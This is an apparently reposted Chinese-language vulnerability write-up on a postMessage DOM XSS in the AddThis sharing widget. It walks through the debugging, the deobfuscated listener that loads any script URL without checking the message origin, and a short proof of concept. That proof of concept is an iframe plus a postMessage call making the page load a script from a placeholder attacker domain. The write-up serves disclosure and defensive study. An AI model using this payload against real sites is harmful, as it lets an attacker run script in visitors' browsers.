Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

PostMessage XSS On AddThis

$
0
0
前言

在测试一个使用AddThis的网站的时候,通过Chrome的开发者工具,我发现它使用了PostMessage


PostMessage XSS On AddThis

我在Chrome开发者工具的listener中设置了一个断点,然后发送了一个消息“window.postMessage("hello", "*")“。用来检测是否存在漏洞

检查listener

代码除了使用HTTP和HTTPS的页面以外并没有进行orgin检查。消息的预期格式参见代码第5364行:

at-share-bookmarklet:DATA.
PostMessage XSS On AddThis

继续调试,然后发送正确格式的消息,使得代码最终在5370行调用了“r”函数。而“ r”函数调用另一个名为“ s”的函数:


PostMessage XSS On AddThis

S函数创建了一个新的元素(DOM XSS?)


PostMessage XSS On AddThis
反混淆

为了理解这个函数到底干了什么,我通过命名变量和删除多行语句来反混淆:

e.exports = function(messageData, t, n, s, u, isTrue) { if (!o[messageData] || isTrue) { //isTrue is 1 (true) when this function is called. var scriptTag = document.createElement("script"); if("https:" === window.location.protocol){ var isSecurePage = true; }else{ var isSecurePage = false; } var protocol = ""; var headElement = document.getElementsByTagName("head")[0]; scriptTag.setAttribute("type", "text/javascript"); scriptTag.setAttribute("async", "async"); //Check if user is using Chrome/Safari if(window.chrome && window.chrome.self || window.safari && window.safari.extension){ if(isSecurePage){ protocol = "https"; }else{ protocol = "http"; } //If the message data starts with "//", add protocol before if(0 === messageData.indexOf("//")){ messageData = protocol + messageData; } } //If the message data starts with "//" if(0 === messageData.indexOf("//")){ scriptTag.src = messageData; }else{ scriptTag.src = protocol + "//s7.addthis.com/" + messageData; } headElement.insertBefore(scriptTag, headElement.firstChild); o[messageData] = 1; return scriptTag; } return 1; }

最终得到发送格式如下的消息:

at-share-bookmarklet://ATTACKERHOST/xss.js

它会添加一个新的脚本元素到“//ATTACKERDOMAIN/xss.js”的页面。也就是说存在DOM XSS漏洞。

PoC

攻击者能够攻击任何使用了AddThis的网站(DOM XSS)。Exploit如下:

<iframe id="frame" src="https://targetpage/using_addthis"></iframe> <script> document.getElementById("frame").postMessage('at-share-bookmarklet://ATTACKERDOMAIN/xss.js', '*'); </script> 总结

这个漏洞是出自于框架中,所以所有调用PostMessage开发的应用都将受到这个漏洞的影响。PostMessage经常是导致DOM XSS漏洞的源头。如果你使用了第三方脚本,一定要检查它们的PostMessage实现。

参考

PostMessage

API的缺陷: https://labs.detectify.com/2016/12/08/the-pitfalls-of-postmessage/


Viewing all articles
Browse latest Browse all 12749

Latest Images

Trending Articles



Latest Images